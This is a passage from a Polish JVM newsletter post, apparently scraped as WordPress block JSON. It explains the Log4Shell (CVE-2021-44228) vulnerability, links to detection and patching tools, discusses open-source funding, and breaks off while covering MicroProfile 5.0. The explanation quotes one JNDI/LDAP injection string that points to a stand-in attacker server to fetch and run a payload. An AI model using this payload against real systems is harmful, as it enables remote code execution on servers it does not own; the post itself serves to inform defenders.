Vived","isPartOf":{"@id":"https:\/\/vived.io\/pl\/#website"},"primaryImageOfPage":{"@id":"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/#primaryimage"},"image":{"@id":"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/#primaryimage"},"thumbnailUrl":"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/adgqKD9_460s.jpg","datePublished":"2021-12-14T13:38:39+00:00","dateModified":"2022-09-19T11:10:44+00:00","breadcrumb":{"@id":"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/"]}]},{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/#primaryimage","url":"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/adgqKD9_460s.jpg","contentUrl":"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/adgqKD9_460s.jpg"},{"@type":"BreadcrumbList","@id":"https:\/\/vived.io\/pl\/jvm-tuesday-vol-68-log4shell\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Strona g\u0142\u00f3wna","item":"https:\/\/vived.io\/pl\/"},{"@type":"ListItem","position":2,"name":"JVM Tuesday vol. 68 &#8211; Log4Shell #ZobaczMemy"}]},{"@type":"WebSite","@id":"https:\/\/vived.io\/pl\/#website","url":"https:\/\/vived.io\/pl\/","name":"Vived","description":"platform empowering IT people and technology companies to synergic growth","publisher":{"@id":"https:\/\/vived.io\/pl\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/vived.io\/pl\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"pl-PL"},{"@type":"Organization","@id":"https:\/\/vived.io\/pl\/#organization","name":"Vived","url":"https:\/\/vived.io\/pl\/","logo":{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/vived.io\/pl\/#\/schema\/logo\/image\/","url":"https:\/\/vived.io\/wp-content\/uploads\/2020\/03\/logo_vived_color.png","contentUrl":"https:\/\/vived.io\/wp-content\/uploads\/2020\/03\/logo_vived_color.png","width":136,"height":45,"caption":"Vived"},"image":{"@id":"https:\/\/vived.io\/pl\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/vived.io\/pl\/#\/schema\/person\/0eb0878110cb27edfbfe46e841fe6db3","name":"Artur Skowro\u0144ski","image":{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/vived.io\/pl\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/29055786486c8b9dc1507f2744221c5bdb8d7ef6e6217ced0326dd3296aea6ed?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/29055786486c8b9dc1507f2744221c5bdb8d7ef6e6217ced0326dd3296aea6ed?s=96&d=mm&r=g","caption":"Artur Skowro\u0144ski"}}]}},"blocks_vived":[{"blockName":"core\/heading","attrs":[],"innerBlocks":[],"innerHTML":"\n<h2>1. Log4Shell zatrz\u0105s\u0142 internetem&nbsp; \ud83d\udca9\ud83c\udf0a<\/h2>\n","innerContent":["\n<h2>1. Log4Shell zatrz\u0105s\u0142 internetem&nbsp; \ud83d\udca9\ud83c\udf0a<\/h2>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/paragraph","attrs":[],"innerBlocks":[],"innerHTML":"\n<p>To jest ten wyj\u0105tkowy tydzie\u0144, \u017ce niezale\u017cnie od j\u0119zyka programowania \u201cJe Suis Java\u201d, a przy okazji najwi\u0119kszy je\u015bli chodzi o zasi\u0119g exploit od czasu nies\u0142awnego Spectre. W Log4J, znanej chyba ka\u017cdemu, kto wyszed\u0142 poza \u201chello world\u201d bibliotece do logowania w Javie, wykryto exploita - i to exploita o najwy\u017cszym mo\u017cliwym poziomie zagro\u017cenia.&nbsp;<\/p>\n","innerContent":["\n<p>To jest ten wyj\u0105tkowy tydzie\u0144, \u017ce niezale\u017cnie od j\u0119zyka programowania \u201cJe Suis Java\u201d, a przy okazji najwi\u0119kszy je\u015bli chodzi o zasi\u0119g exploit od czasu nies\u0142awnego Spectre. W Log4J, znanej chyba ka\u017cdemu, kto wyszed\u0142 poza \u201chello world\u201d bibliotece do logowania w Javie, wykryto exploita - i to exploita o najwy\u017cszym mo\u017cliwym poziomie zagro\u017cenia.&nbsp;<\/p>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/image","attrs":{"align":"center"},"innerBlocks":[],"innerHTML":"\n<figure class=\"wp-block-image aligncenter\"><img src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/adgqKD9_460s.jpg\" alt=\"Ain't nobody got time for that - 9GAG\"\/><\/figure>\n","innerContent":["\n<figure class=\"wp-block-image aligncenter\"><img src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/adgqKD9_460s.jpg\" alt=\"Ain't nobody got time for that - 9GAG\"\/><\/figure>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/paragraph","attrs":[],"innerBlocks":[],"innerHTML":"\n<p>Zacznijmy mo\u017ce od tego jak rzeczony exploit dzia\u0142a. Log4Shell, bo takie miano mu przyznano, to RCE (Remote Code Execution) \u2013 umo\u017cliwia ona wykonanie dowolnego kodu po stronie serwerowej. Okazuje si\u0119, \u017ce Log4J w wyniku interpolacji odpowiedniego formatu Stringu znalezionego w logach automatycznie odpali instrukcje znajduj\u0105ce si\u0119 na dowolnym serwerze LDAPowym - jest to protok\u00f3\u0142 przeznaczony do korzystania z us\u0142ug katalogowych, czyli np. bazy pracownik\u00f3w firmy w ramach mechanizm\u00f3w autoryzacji. Ca\u0142o\u015b\u0107 odbywa si\u0119 poprzez <a href=\"https:\/\/docs.oracle.com\/javase\/tutorial\/jndi\/overview\/index.html\">mechanizm JNDI<\/a> - czyli takiego javowego odpowiednika URL do definiowania zewn\u0119trznych zasob\u00f3w, jak np. adresy zdalnych procedur. Pewnie kojarzycie je pod skr\u00f3tem RPC - Remote Procedure Call. Tak wi\u0119c wystarczy\u0142o, \u017ceby linijka&nbsp; ${jndi:ldap:\/\/attackerserver.com:1389\/ExploitPayload} (okre\u015blaj\u0105ca zas\u00f3b przy pomocy wspomnianego JNDI) zapisa\u0142a si\u0119 do log\u00f3w, a z wcze\u015bnie spreparowanego LDAPA pobrana i wykonana b\u0119dzie klasa ExploitPayload.class, zawieraj\u0105ca dowolny z\u0142o\u015bliwy kod.<\/p>\n","innerContent":["\n<p>Zacznijmy mo\u017ce od tego jak rzeczony exploit dzia\u0142a. Log4Shell, bo takie miano mu przyznano, to RCE (Remote Code Execution) \u2013 umo\u017cliwia ona wykonanie dowolnego kodu po stronie serwerowej. Okazuje si\u0119, \u017ce Log4J w wyniku interpolacji odpowiedniego formatu Stringu znalezionego w logach automatycznie odpali instrukcje znajduj\u0105ce si\u0119 na dowolnym serwerze LDAPowym - jest to protok\u00f3\u0142 przeznaczony do korzystania z us\u0142ug katalogowych, czyli np. bazy pracownik\u00f3w firmy w ramach mechanizm\u00f3w autoryzacji. Ca\u0142o\u015b\u0107 odbywa si\u0119 poprzez <a href=\"https:\/\/docs.oracle.com\/javase\/tutorial\/jndi\/overview\/index.html\">mechanizm JNDI<\/a> - czyli takiego javowego odpowiednika URL do definiowania zewn\u0119trznych zasob\u00f3w, jak np. adresy zdalnych procedur. Pewnie kojarzycie je pod skr\u00f3tem RPC - Remote Procedure Call. Tak wi\u0119c wystarczy\u0142o, \u017ceby linijka&nbsp; ${jndi:ldap:\/\/attackerserver.com:1389\/ExploitPayload} (okre\u015blaj\u0105ca zas\u00f3b przy pomocy wspomnianego JNDI) zapisa\u0142a si\u0119 do log\u00f3w, a z wcze\u015bnie spreparowanego LDAPA pobrana i wykonana b\u0119dzie klasa ExploitPayload.class, zawieraj\u0105ca dowolny z\u0142o\u015bliwy kod.<\/p>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/image","attrs":{"align":"center","width":500,"height":754},"innerBlocks":[],"innerHTML":"\n<figure class=\"wp-block-image aligncenter is-resized\"><img src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/61b78805df48bb747b27b672_YouShallNotPass.png\" alt=\"Log4Shell - Identify Vulnerable External-Facing Workloads in AWS Tutorial\" width=\"500\" height=\"754\"\/><figcaption>Tak mniej wi\u0119cej odbywa si\u0119 atak<\/figcaption><\/figure>\n","innerContent":["\n<figure class=\"wp-block-image aligncenter is-resized\"><img src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/61b78805df48bb747b27b672_YouShallNotPass.png\" alt=\"Log4Shell - Identify Vulnerable External-Facing Workloads in AWS Tutorial\" width=\"500\" height=\"754\"\/><figcaption>Tak mniej wi\u0119cej odbywa si\u0119 atak<\/figcaption><\/figure>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/paragraph","attrs":[],"innerBlocks":[],"innerHTML":"\n<p>Jak wi\u0119c widzicie - ca\u0142o\u015b\u0107 jest wr\u0119cz \u015bmiesznie prosta w realizacji, a r\u00f3wnocze\u015bnie niesamowicie gro\u017ana. Oczywi\u015bcie, powy\u017csze wyja\u015bnienie nie jest pe\u0142n\u0105 techniczn\u0105 analiz\u0105, takich znajdziecie w \u015bwiecie ju\u017c od groma. W waszej podr\u00f3\u017cy przez \u015bwiat podatno\u015bci CVE-2021-44228 (bo tak\u0105 nazw\u0119 dosta\u0142a) poprowadz\u0105 Was przewodniki <a href=\"https:\/\/www.techsolvency.com\/story-so-far\/cve-2021-44228-log4j-log4shell\/\">The Story So Far: Log4Shell log4j vulnerability<\/a> oraz <a href=\"https:\/\/www.lunasec.io\/docs\/blog\/log4j-zero-day-mitigation-guide\/\">Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228)<\/a><\/p>\n","innerContent":["\n<p>Jak wi\u0119c widzicie - ca\u0142o\u015b\u0107 jest wr\u0119cz \u015bmiesznie prosta w realizacji, a r\u00f3wnocze\u015bnie niesamowicie gro\u017ana. Oczywi\u015bcie, powy\u017csze wyja\u015bnienie nie jest pe\u0142n\u0105 techniczn\u0105 analiz\u0105, takich znajdziecie w \u015bwiecie ju\u017c od groma. W waszej podr\u00f3\u017cy przez \u015bwiat podatno\u015bci CVE-2021-44228 (bo tak\u0105 nazw\u0119 dosta\u0142a) poprowadz\u0105 Was przewodniki <a href=\"https:\/\/www.techsolvency.com\/story-so-far\/cve-2021-44228-log4j-log4shell\/\">The Story So Far: Log4Shell log4j vulnerability<\/a> oraz <a href=\"https:\/\/www.lunasec.io\/docs\/blog\/log4j-zero-day-mitigation-guide\/\">Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228)<\/a><\/p>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/paragraph","attrs":[],"innerBlocks":[],"innerHTML":"\n<p>Kto oberwa\u0142? Ka\u017cdy, kto posiada w swoich zale\u017cno\u015bciach dowolnej wersji log4j starszej ni\u017c 2.15.0, najprawdopodobniej jest nara\u017cony - radzimy prze\u015bledzi\u0107 pe\u0142ne drzewo zale\u017cno\u015bci (albo u\u017cy\u0107 narz\u0119dzia opisywanego poni\u017cej). Na szcz\u0119\u015bcie od podatno\u015bci wolny jest (przynajmniej w domy\u015blnej konfiguracji) Spring Boot. U\u017cywa on co prawda zale\u017cno\u015bci o nazwie Log4j, ale jest to tylko jego API, a nie ca\u0142a biblioteka. Nawet nie chc\u0119 sobie wyobra\u017ca\u0107, co by si\u0119 dzia\u0142o gdyby trzeba by\u0142o aktualizowa\u0107 wszystkie springowe aplikacje na ca\u0142ym \u015bwiecie.&nbsp;<\/p>\n","innerContent":["\n<p>Kto oberwa\u0142? Ka\u017cdy, kto posiada w swoich zale\u017cno\u015bciach dowolnej wersji log4j starszej ni\u017c 2.15.0, najprawdopodobniej jest nara\u017cony - radzimy prze\u015bledzi\u0107 pe\u0142ne drzewo zale\u017cno\u015bci (albo u\u017cy\u0107 narz\u0119dzia opisywanego poni\u017cej). Na szcz\u0119\u015bcie od podatno\u015bci wolny jest (przynajmniej w domy\u015blnej konfiguracji) Spring Boot. U\u017cywa on co prawda zale\u017cno\u015bci o nazwie Log4j, ale jest to tylko jego API, a nie ca\u0142a biblioteka. Nawet nie chc\u0119 sobie wyobra\u017ca\u0107, co by si\u0119 dzia\u0142o gdyby trzeba by\u0142o aktualizowa\u0107 wszystkie springowe aplikacje na ca\u0142ym \u015bwiecie.&nbsp;<\/p>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/image","attrs":{"align":"center"},"innerBlocks":[],"innerHTML":"\n<figure class=\"wp-block-image aligncenter\"><img src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/FGUwLYCX0AUUKNT.jpg\" alt=\"Gon\u00e7alo Ribeiro's tweet - &quot;#Log4Shell #log4j #CVE202144228 &quot; - Trendsmap\"\/><figcaption>#PDK<\/figcaption><\/figure>\n","innerContent":["\n<figure class=\"wp-block-image aligncenter\"><img src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/FGUwLYCX0AUUKNT.jpg\" alt=\"Gon\u00e7alo Ribeiro's tweet - &quot;#Log4Shell #log4j #CVE202144228 &quot; - Trendsmap\"\/><figcaption>#PDK<\/figcaption><\/figure>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/paragraph","attrs":[],"innerBlocks":[],"innerHTML":"\n<p>W internecie nie brakuje g\u0142os\u00f3w, \u017ce to jest problem tylko javowc\u00f3w, \u201cbo ja programuje w porz\u0105dnym j\u0119zyku\u201d. Wbrew opiniom niekt\u00f3rych krytyk\u00f3w, Java jest u\u017cywana nie tylko przez stare systemy, ale r\u00f3wnie\u017c mas\u0119 softu u\u017cywanego na co dzie\u0144. Dlatego te\u017c np. krytyczne poprawki wypu\u015bci\u0142 Elastic, Solr, <a href=\"https:\/\/community.neo4j.com\/t\/log4j-cve-mitigation-for-neo4j\/48856\">Neo4j<\/a>, Flink czy te\u017c\u2026 Minecraft. Ofiar\u0105 sta\u0142 si\u0119 te\u017c np. <a href=\"https:\/\/www.itworldcanada.com\/article\/canadian-websites-temporarily-shut-down-as-world-scrambles-to-mitigate-or-patch-log4shell-vulnerability\/468264\">prowincja Quebec w Kanadzie<\/a>. Jak wi\u0119c wida\u0107, nikt nie jest bezpieczny. Pe\u0142n\u0105, stale aktualizowan\u0105 list\u0119 <a href=\"https:\/\/www.techsolvency.com\/story-so-far\/cve-2021-44228-log4j-log4shell\/\">znajdziecie tutaj<\/a>.&nbsp;<\/p>\n","innerContent":["\n<p>W internecie nie brakuje g\u0142os\u00f3w, \u017ce to jest problem tylko javowc\u00f3w, \u201cbo ja programuje w porz\u0105dnym j\u0119zyku\u201d. Wbrew opiniom niekt\u00f3rych krytyk\u00f3w, Java jest u\u017cywana nie tylko przez stare systemy, ale r\u00f3wnie\u017c mas\u0119 softu u\u017cywanego na co dzie\u0144. Dlatego te\u017c np. krytyczne poprawki wypu\u015bci\u0142 Elastic, Solr, <a href=\"https:\/\/community.neo4j.com\/t\/log4j-cve-mitigation-for-neo4j\/48856\">Neo4j<\/a>, Flink czy te\u017c\u2026 Minecraft. Ofiar\u0105 sta\u0142 si\u0119 te\u017c np. <a href=\"https:\/\/www.itworldcanada.com\/article\/canadian-websites-temporarily-shut-down-as-world-scrambles-to-mitigate-or-patch-log4shell-vulnerability\/468264\">prowincja Quebec w Kanadzie<\/a>. Jak wi\u0119c wida\u0107, nikt nie jest bezpieczny. Pe\u0142n\u0105, stale aktualizowan\u0105 list\u0119 <a href=\"https:\/\/www.techsolvency.com\/story-so-far\/cve-2021-44228-log4j-log4shell\/\">znajdziecie tutaj<\/a>.&nbsp;<\/p>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/image","attrs":[],"innerBlocks":[],"innerHTML":"\n<figure class=\"wp-block-image\"><img src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/61b5c0dc998ead07e557a882_twitter.png\" alt=\"\"\/><figcaption>Powodzenia \ud83e\udd17<\/figcaption><\/figure>\n","innerContent":["\n<figure class=\"wp-block-image\"><img src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/61b5c0dc998ead07e557a882_twitter.png\" alt=\"\"\/><figcaption>Powodzenia \ud83e\udd17<\/figcaption><\/figure>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/paragraph","attrs":[],"innerBlocks":[],"innerHTML":"\n<p>Do poradzenia sobie z problemem powsta\u0142o wiele wyspecjalizowanych narz\u0119dzi. Zdecydowanie radzimy prze\u015bledzi\u0107 Wasze repozytoria za pomoc\u0105 <a href=\"https:\/\/github.com\/fullhunt\/log4j-scan\">fullhunt\/log4j-scan<\/a> czy dzia\u0142aj\u0105cy podobnie <a href=\"https:\/\/github.com\/jerrinot\/log4shell-ldap\/\">jerrinot\/log4shell-ldap<\/a>, kt\u00f3re w holistyczny spos\u00f3b sprawdzaj\u0105 Wasze repozytoria. Moim jednak ulubionym narz\u0119dziem jest java agent (program dopinany do maszyny wirtualnej) stworzony przez zesp\u00f3\u0142 Corretto, kt\u00f3ry potrafi poradzi\u0107 sobie z <a href=\"https:\/\/github.com\/corretto\/hotpatch-for-apache-log4j2\/\">procesem patchowania bez zatrzymywania aplikacji<\/a>. Takie rozwi\u0105zanie b\u0119dzie jednak w wi\u0119kszo\u015bci przypadk\u00f3w armat\u0105 na muchy, wi\u0119c polecamy go u\u017cywa\u0107 dopiero wtedy jak wiecie, \u017ce musicie.<\/p>\n","innerContent":["\n<p>Do poradzenia sobie z problemem powsta\u0142o wiele wyspecjalizowanych narz\u0119dzi. Zdecydowanie radzimy prze\u015bledzi\u0107 Wasze repozytoria za pomoc\u0105 <a href=\"https:\/\/github.com\/fullhunt\/log4j-scan\">fullhunt\/log4j-scan<\/a> czy dzia\u0142aj\u0105cy podobnie <a href=\"https:\/\/github.com\/jerrinot\/log4shell-ldap\/\">jerrinot\/log4shell-ldap<\/a>, kt\u00f3re w holistyczny spos\u00f3b sprawdzaj\u0105 Wasze repozytoria. Moim jednak ulubionym narz\u0119dziem jest java agent (program dopinany do maszyny wirtualnej) stworzony przez zesp\u00f3\u0142 Corretto, kt\u00f3ry potrafi poradzi\u0107 sobie z <a href=\"https:\/\/github.com\/corretto\/hotpatch-for-apache-log4j2\/\">procesem patchowania bez zatrzymywania aplikacji<\/a>. Takie rozwi\u0105zanie b\u0119dzie jednak w wi\u0119kszo\u015bci przypadk\u00f3w armat\u0105 na muchy, wi\u0119c polecamy go u\u017cywa\u0107 dopiero wtedy jak wiecie, \u017ce musicie.<\/p>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/paragraph","attrs":[],"innerBlocks":[],"innerHTML":"\n<p>Jak bumerang wraca temat niedoinwestowanych projekt\u00f3w Open Source. Przez sie\u0107 wiralem przesz\u0142y publikacje takie jak&nbsp; <a href=\"https:\/\/christine.website\/blog\/open-source-broken-2021-12-11\">\"Open Source\" is Broken<\/a>\u201d (wraz z odpowiadaj\u0105cym na nie <a href=\"https:\/\/nadh.in\/blog\/open-source-is-not-broken\/\">\"Open source\" is not broken<\/a>) czy <a href=\"https:\/\/blog.filippo.io\/professional-maintainers\/\">Professional maintainers: a wake-up call<\/a>, kt\u00f3re pr\u00f3buj\u0105 uzmys\u0142owi\u0107 tym, kt\u00f3rzy jeszcze nie zdaj\u0105 sobie z tego sprawy, jak na kruchych podstawach stoi ca\u0142y wsp\u00f3\u0142czesny \u015bwiat technologii. Trzeba jednak przyzna\u0107, \u017ce znacznie bardziej obrywa si\u0119 sposobowi finansowania tego typu projekt\u00f3w, ni\u017c samemu modelowi - cho\u0107 ten te\u017c oberwa\u0142 rykoszetem, jako \u017ce nie spe\u0142ni\u0142 pok\u0142adanych w nim nadziei. Okazuje si\u0119 bowiem, \u017ce sam fakt dost\u0119pu do kodu nie sprawi, \u017ce ten automatycznie staje si\u0119 bezpieczny - ale t\u0105 lekcj\u0119 ju\u017c chyba przepracowali\u015bmy przy okazji Heartbleeda - <a href=\"https:\/\/heartbleed.com\/\">buga<\/a>, kt\u00f3ry kiedy\u015b s\u0119dza\u0142 sen z powiek u\u017cytkownikom SSL.<\/p>\n","innerContent":["\n<p>Jak bumerang wraca temat niedoinwestowanych projekt\u00f3w Open Source. Przez sie\u0107 wiralem przesz\u0142y publikacje takie jak&nbsp; <a href=\"https:\/\/christine.website\/blog\/open-source-broken-2021-12-11\">\"Open Source\" is Broken<\/a>\u201d (wraz z odpowiadaj\u0105cym na nie <a href=\"https:\/\/nadh.in\/blog\/open-source-is-not-broken\/\">\"Open source\" is not broken<\/a>) czy <a href=\"https:\/\/blog.filippo.io\/professional-maintainers\/\">Professional maintainers: a wake-up call<\/a>, kt\u00f3re pr\u00f3buj\u0105 uzmys\u0142owi\u0107 tym, kt\u00f3rzy jeszcze nie zdaj\u0105 sobie z tego sprawy, jak na kruchych podstawach stoi ca\u0142y wsp\u00f3\u0142czesny \u015bwiat technologii. Trzeba jednak przyzna\u0107, \u017ce znacznie bardziej obrywa si\u0119 sposobowi finansowania tego typu projekt\u00f3w, ni\u017c samemu modelowi - cho\u0107 ten te\u017c oberwa\u0142 rykoszetem, jako \u017ce nie spe\u0142ni\u0142 pok\u0142adanych w nim nadziei. Okazuje si\u0119 bowiem, \u017ce sam fakt dost\u0119pu do kodu nie sprawi, \u017ce ten automatycznie staje si\u0119 bezpieczny - ale t\u0105 lekcj\u0119 ju\u017c chyba przepracowali\u015bmy przy okazji Heartbleeda - <a href=\"https:\/\/heartbleed.com\/\">buga<\/a>, kt\u00f3ry kiedy\u015b s\u0119dza\u0142 sen z powiek u\u017cytkownikom SSL.<\/p>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/image","attrs":{"align":"center"},"innerBlocks":[],"innerHTML":"\n<figure class=\"wp-block-image aligncenter\"><img src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/FGPaGLZXEAYmJnb.png\" alt=\"Kevin Beaumont on Twitter: &quot;official logo for log4shell  https:\/\/t.co\/DMEmPYJ7Mx&quot; \/ Twitter\"\/><figcaption>Ile razy mo\u017cna dawa\u0107 ten sam obrazek, zanim si\u0119 czego\u015b nauczymy.<\/figcaption><\/figure>\n","innerContent":["\n<figure class=\"wp-block-image aligncenter\"><img src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/FGPaGLZXEAYmJnb.png\" alt=\"Kevin Beaumont on Twitter: &quot;official logo for log4shell  https:\/\/t.co\/DMEmPYJ7Mx&quot; \/ Twitter\"\/><figcaption>Ile razy mo\u017cna dawa\u0107 ten sam obrazek, zanim si\u0119 czego\u015b nauczymy.<\/figcaption><\/figure>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/paragraph","attrs":[],"innerBlocks":[],"innerHTML":"\n<p>Niejeden z nas nie mia\u0142 raczej spokojnego weekendu, ale mo\u017ce si\u0119 okaza\u0107, \u017ce to dopiero pocz\u0105tek zabawy. Powoli dochodz\u0105 nas bowiem doniesienia o tym, \u017ce <a href=\"https:\/\/www.zdnet.com\/article\/log4j-rce-activity-began-on-december-1-as-botnets-start-using-vulnerability\/\">atakuj\u0105cy dzia\u0142ali na d\u0142ugo przed tym<\/a>, jak o ca\u0142ej sprawie zrobi\u0142o si\u0119 g\u0142o\u015bno. Przyk\u0142adowo, Cloudflare twierdzi, \u017ce pierwsze \u015blady pr\u00f3by ataku uda\u0142o im si\u0119 zidentyfikowa\u0107 ju\u017c w logach pochodz\u0105cych z pierwszego grudnia. Je\u017celi te plotki si\u0119 potwierdz\u0105, to niejeden system mo\u017ce ju\u017c teraz kopa\u0107 krypto lub wkr\u00f3tce sta\u0107 si\u0119 ofiar\u0105 u\u015bpionego ransomware. Mamy nadzieje, \u017ce czarne wizje si\u0119 nie spe\u0142ni\u0105\u2026 a w mi\u0119dzyczasie r\u00f3bcie lepiej na szybko backupy.<\/p>\n","innerContent":["\n<p>Niejeden z nas nie mia\u0142 raczej spokojnego weekendu, ale mo\u017ce si\u0119 okaza\u0107, \u017ce to dopiero pocz\u0105tek zabawy. Powoli dochodz\u0105 nas bowiem doniesienia o tym, \u017ce <a href=\"https:\/\/www.zdnet.com\/article\/log4j-rce-activity-began-on-december-1-as-botnets-start-using-vulnerability\/\">atakuj\u0105cy dzia\u0142ali na d\u0142ugo przed tym<\/a>, jak o ca\u0142ej sprawie zrobi\u0142o si\u0119 g\u0142o\u015bno. Przyk\u0142adowo, Cloudflare twierdzi, \u017ce pierwsze \u015blady pr\u00f3by ataku uda\u0142o im si\u0119 zidentyfikowa\u0107 ju\u017c w logach pochodz\u0105cych z pierwszego grudnia. Je\u017celi te plotki si\u0119 potwierdz\u0105, to niejeden system mo\u017ce ju\u017c teraz kopa\u0107 krypto lub wkr\u00f3tce sta\u0107 si\u0119 ofiar\u0105 u\u015bpionego ransomware. Mamy nadzieje, \u017ce czarne wizje si\u0119 nie spe\u0142ni\u0105\u2026 a w mi\u0119dzyczasie r\u00f3bcie lepiej na szybko backupy.<\/p>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/image","attrs":[],"innerBlocks":[],"innerHTML":"\n<figure class=\"wp-block-image\"><img src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/FGc65vvXEAQdCj0.jpg\" alt=\"Doing Hot Mom Shit on Twitter: &quot;#log4j #Log4Shell Exploits aren't funny but  these memes are just too good https:\/\/t.co\/guwCgXicOF&quot; \/ Twitter\"\/><figcaption>Heheszka na po\u017cegnanie<\/figcaption><\/figure>\n","innerContent":["\n<figure class=\"wp-block-image\"><img src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/FGc65vvXEAQdCj0.jpg\" alt=\"Doing Hot Mom Shit on Twitter: &quot;#log4j #Log4Shell Exploits aren't funny but  these memes are just too good https:\/\/t.co\/guwCgXicOF&quot; \/ Twitter\"\/><figcaption>Heheszka na po\u017cegnanie<\/figcaption><\/figure>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/heading","attrs":[],"innerBlocks":[],"innerHTML":"\n<h2>2. Wydano MicroProfile 5.0 \ud83d\ude80<\/h2>\n","innerContent":["\n<h2>2. Wydano MicroProfile 5.0 \ud83d\ude80<\/h2>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/paragraph","attrs":[],"innerBlocks":[],"innerHTML":"\n<p>Pewnie to nie ostatni raz, kiedy b\u0119dziemy o exploicie Log4J wspomina\u0107, ale mimo swojego zasi\u0119gu nie by\u0142 on jedynym ciekawym wydarzeniem w \u015bwiecie JVM. MicroProfile, m\u0142odszy, bardziej cool brat Jakarty EE w\u0142a\u015bnie otrzyma\u0142 w zesz\u0142ym tygodniu swoj\u0105 now\u0105 edycj\u0119.<br><br>Je\u017celi spodziewacie si\u0119 wielkich, rewolucyjnych zmian\u2026 to nie tym razem. Celem MicroProfile 5.0 jest bowiem uzyskanie kompatybilno\u015bci MicroProfile z przestrzeni\u0105 nazw Jakarta EE. W ramach nowego wydania, pozbyto si\u0119 resztek pozosta\u0142o\u015bci po klasycznym javax, kt\u00f3ry (gwoli przypomnienia) jest znakiem handlowym nale\u017c\u0105cym do Oracle.<\/p>\n","innerContent":["\n<p>Pewnie to nie ostatni raz, kiedy b\u0119dziemy o exploicie Log4J wspomina\u0107, ale mimo swojego zasi\u0119gu nie by\u0142 on jedynym ciekawym wydarzeniem w \u015bwiecie JVM. MicroProfile, m\u0142odszy, bardziej cool brat Jakarty EE w\u0142a\u015bnie otrzyma\u0142 w zesz\u0142ym tygodniu swoj\u0105 now\u0105 edycj\u0119.<br><br>Je\u017celi spodziewacie si\u0119 wielkich, rewolucyjnych zmian\u2026 to nie tym razem. Celem MicroProfile 5.0 jest bowiem uzyskanie kompatybilno\u015bci MicroProfile z przestrzeni\u0105 nazw Jakarta EE. W ramach nowego wydania, pozbyto si\u0119 resztek pozosta\u0142o\u015bci po klasycznym javax, kt\u00f3ry (gwoli przypomnienia) jest znakiem handlowym nale\u017c\u0105cym do Oracle.<\/p>\n"]},{"blockName":null,"attrs":[],"innerBlocks":[],"innerHTML":"\n\n","innerContent":["\n\n"]},{"blockName":"core\/image","attrs":{"width":991,"height":993},"innerBlocks":[],"innerHTML":"\n<figure class=\"wp-block-image is-resized\"><img src=\"https:\/\/vived.io\/wp-content\/uploads\/2022\/06\/img_62a883675b978.png\" alt=\"\" width=\"991\" height=\"993\"\/><figcaption>\"MicroProfile 